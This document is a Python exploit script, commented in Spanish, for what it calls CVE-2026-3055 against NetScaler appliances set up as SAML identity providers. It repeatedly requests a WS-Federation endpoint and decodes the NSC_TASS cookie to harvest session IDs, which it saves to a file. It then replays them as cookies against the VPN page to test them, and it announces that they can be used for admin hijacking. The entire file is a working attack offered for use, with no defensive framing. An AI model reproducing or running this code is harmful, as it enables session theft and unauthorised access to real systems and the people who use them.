#!/usr/bin/env python3 """ CVE-2026-3055 - Session ID Harvester Extrae y guarda session IDs para hijacking """ import argparse import base64 import requests import urllib3 import time import re import json from colorama import init, Fore, Style urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) init(autoreset=True) class SessionHarvester: """Harvestea session IDs de NetScaler vulnerable""" def __init__(self, target): self.target = target.rstrip('/') self.session = requests.Session() self.session.verify = False self.sessions = [] self.raw_data = [] def harvest(self, iterations=100, delay=0.3): """Harvestea session IDs""" print(f"{Fore.CYAN}[*] Harvesting session IDs from {self.target}{Style.RESET_ALL}") print(f"{Fore.YELLOW}[!] Target must be configured as SAML IDP{Style.RESET_ALL}\n") for i in range(iterations): try: url = f"{self.target}/wsfed/passive?wctx" resp = self.session.get(url, timeout=10, allow_redirects=False) tass_cookie = resp.cookies.get('NSC_TASS') if tass_cookie: decoded = base64.b64decode(tass_cookie) data_str = decoded.decode('ascii', errors='ignore') self.raw_data.append({ "iteration": i + 1, "cookie": tass_cookie, "data": data_str }) # Buscar session IDs found = self._extract_sessions(data_str) for session in found: if session not in self.sessions: self.sessions.append(session) print(f"{Fore.GREEN}[{i+1}] NEW SESSION: {session}{Style.RESET_ALL}") if i % 10 == 0 and not found: print(f"{Fore.CYAN}[{i+1}] {len(self.sessions)} sessions harvested so far...{Style.RESET_ALL}") time.sleep(delay) except Exception as e: print(f"{Fore.RED}[-] Error: {e}{Style.RESET_ALL}") return self.sessions def _extract_sessions(self, data): """Extrae posibles session IDs""" sessions = [] patterns = [ r'[A-Za-z0-9]{32,}', r'[0-9a-f]{32}', r'[0-9a-f]{40}', r'[0-9a-f]{64}', r'nsg_session[=:]\s*([A-Za-z0-9]+)', r'session[=:]\s*([A-Za-z0-9]+)' ] for pattern in patterns: matches = re.findall(pattern, data, re.I) for match in matches: if len(match) >= 20: sessions.append(match) return list(set(sessions)) def save_sessions(self, filename): """Guarda las sesiones en archivo""" output = { "target": self.target, "total_sessions": len(self.sessions), "sessions": self.sessions, "raw_data": self.raw_data[:10] # Solo últimas 10 } with open(filename, 'w') as f: json.dump(output, f, indent=2) print(f"\n{Fore.GREEN}[+] Sessions saved to {filename}{Style.RESET_ALL}") def test_session(self, session_id): """Prueba si una sesión es válida""" print(f"{Fore.CYAN}[*] Testing session: {session_id[:20]}...{Style.RESET_ALL}") cookies = { 'NSC_TASS': session_id, 'NSC_AAAC': session_id } try: resp = self.session.get(f"{self.target}/vpn/index.html", cookies=cookies, timeout=10) if resp.status_code == 200: print(f"{Fore.GREEN}[+] Session appears valid!{Style.RESET_ALL}") return True else: print(f"{Fore.RED}[-] Session invalid (status {resp.status_code}){Style.RESET_ALL}") return False except Exception as e: print(f"{Fore.RED}[-] Error: {e}{Style.RESET_ALL}") return False def main(): parser = argparse.ArgumentParser(description='CVE-2026-3055 - Session ID Harvester') parser.add_argument('target', help='Target URL') parser.add_argument('-i', '--iterations', type=int, default=100, help='Number of iterations') parser.add_argument('-d', '--delay', type=float, default=0.3, help='Delay between requests') parser.add_argument('-o', '--output', default='harvested_sessions.json', help='Output file') parser.add_argument('-t', '--test', help='Test a specific session ID') args = parser.parse_args() if not args.target.startswith('http'): args.target = f"https://{args.target}" harvester = SessionHarvester(args.target) if args.test: harvester.test_session(args.test) else: sessions = harvester.harvest(args.iterations, args.delay) harvester.save_sessions(args.output) print(f"\n{Fore.CYAN}=== HARVEST SUMMARY ==={Style.RESET_ALL}") print(f"Total iterations: {args.iterations}") print(f"Unique sessions found: {len(sessions)}") print(f"\n{Fore.YELLOW}[!] Sessions can be used for admin hijacking{Style.RESET_ALL}") if __name__ == "__main__": main()